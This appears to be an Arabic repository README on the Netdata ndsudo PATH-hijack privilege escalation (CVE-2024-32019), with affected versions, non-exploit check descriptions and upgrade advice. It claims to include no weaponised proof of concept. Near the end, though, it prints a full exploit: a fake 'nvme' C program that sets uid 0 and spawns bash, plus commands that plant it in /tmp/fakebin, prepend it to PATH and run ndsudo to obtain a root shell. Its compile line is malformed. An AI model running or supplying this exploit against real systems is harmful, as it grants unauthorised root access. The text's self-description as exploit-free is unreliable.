
يتحقق من تعرض Netdata ndsudo SUID PATH لتصعيد الامتيازات الخاصة بـ CVE-2024-32019 ويتحقق من صحة التصحيحات دون استغلال مسلح.
ndsudoيقيد مساعد ndsudo في Netdata (المثبت بـ setuid root) الأوامر التي سينفذها، لكنه يحل تلك الأوامر باستخدام PATH الخاص بالمستدعي. في الإصدارات المتأثرة، يمكن لمستخدم محلي وضع ملف تنفيذي خبيث في وقت أبكر ضمن PATH وجعل ndsudo ينفذه بصلاحيات الجذر. تم إصلاحه في Netdata 1.45.3 و 1.45.0-169.
المتأثر: >= 1.44.0-60, < 1.45.0-169 و >= 1.45.0, < 1.45.3 (وفقًا للتنبيه الأمني الرسمي).
المُصلَّح: 1.45.3 (المستقر)، 1.45.0-169 (الليلي). GitHub
تصعيد الصلاحيات المحلي إلى الجذر على الأنظمة التي يكون فيها ndsudo مثبتًا بـ SUID ويمكن للمستخدم استدعاؤه (عادةً أعضاء مجموعة netdata). NVDGitHub
ndsudo يعمل بـ SUID-root ويسمح بأوامر فرعية محددة مثل nvme-list، nvme-smart-log، إلخ.
يستدعي ملفات تنفيذية خارجية بالاسم (مثل nvme)، والتي يتم حلها عبر PATH بدلاً من استخدام مسارات مطلقة أو بحث آمن وثابت.
إذا ظهر دليل قابل للكتابة قبل مسارات النظام، يمكن للمهاجم إدخال ملف تنفيذي مشابه يتم تنفيذه بصلاحيات الجذر. GitHub
يتضمن هذا المستودع أدوات فحص غير استغلالية تقوم بـ:
فحص /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo (أو مكان التثبيت) للتحقق من SUID/الملكية.
تعداد PATH بحثًا عن أدلة قابلة للكتابة قبل مسارات النظام الشائعة.
تأكيد وجود أسماء الأوامر الفرعية المسموح بها التي قد يحاول ndsudo تنفيذها.
اختياريًا تشغيل ndsudo --test <subcommand> لطباعة الأمر المحلول دون تنفيذه (استخدم بحذر، اقرأ الكود أولاً). GitHub
⚠️ لا يتضمن أي PoC مسلح. هذا المشروع مخصص للمدافعين والباحثين لتقييم التعرض والتحقق من التصحيحات بمسؤولية.
قم بالترقية إلى Netdata 1.45.3 (المستقر) أو 1.45.0-169 (الليلي).
كإجراء دفاعي متعدد الطبقات، يُفضل استخدام مسارات مطلقة أو PATH مصغر ومنقى في مساعدات SUID؛ تجنب منح وصول ndsudo غير الضروري. GitHubwiz.io
nvme.c:#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c - nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATHexport PATH=/tmp/fakebin:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
NVD: CVE-2024-32019. NVD
تنبيه Netdata (GHSA-pmhq-4cxq-wj93). GitHub
ملخص Wiz. wiz.io
مقال Snyk. Vulnerability Guide
قائمة MITRE/CVE. CVE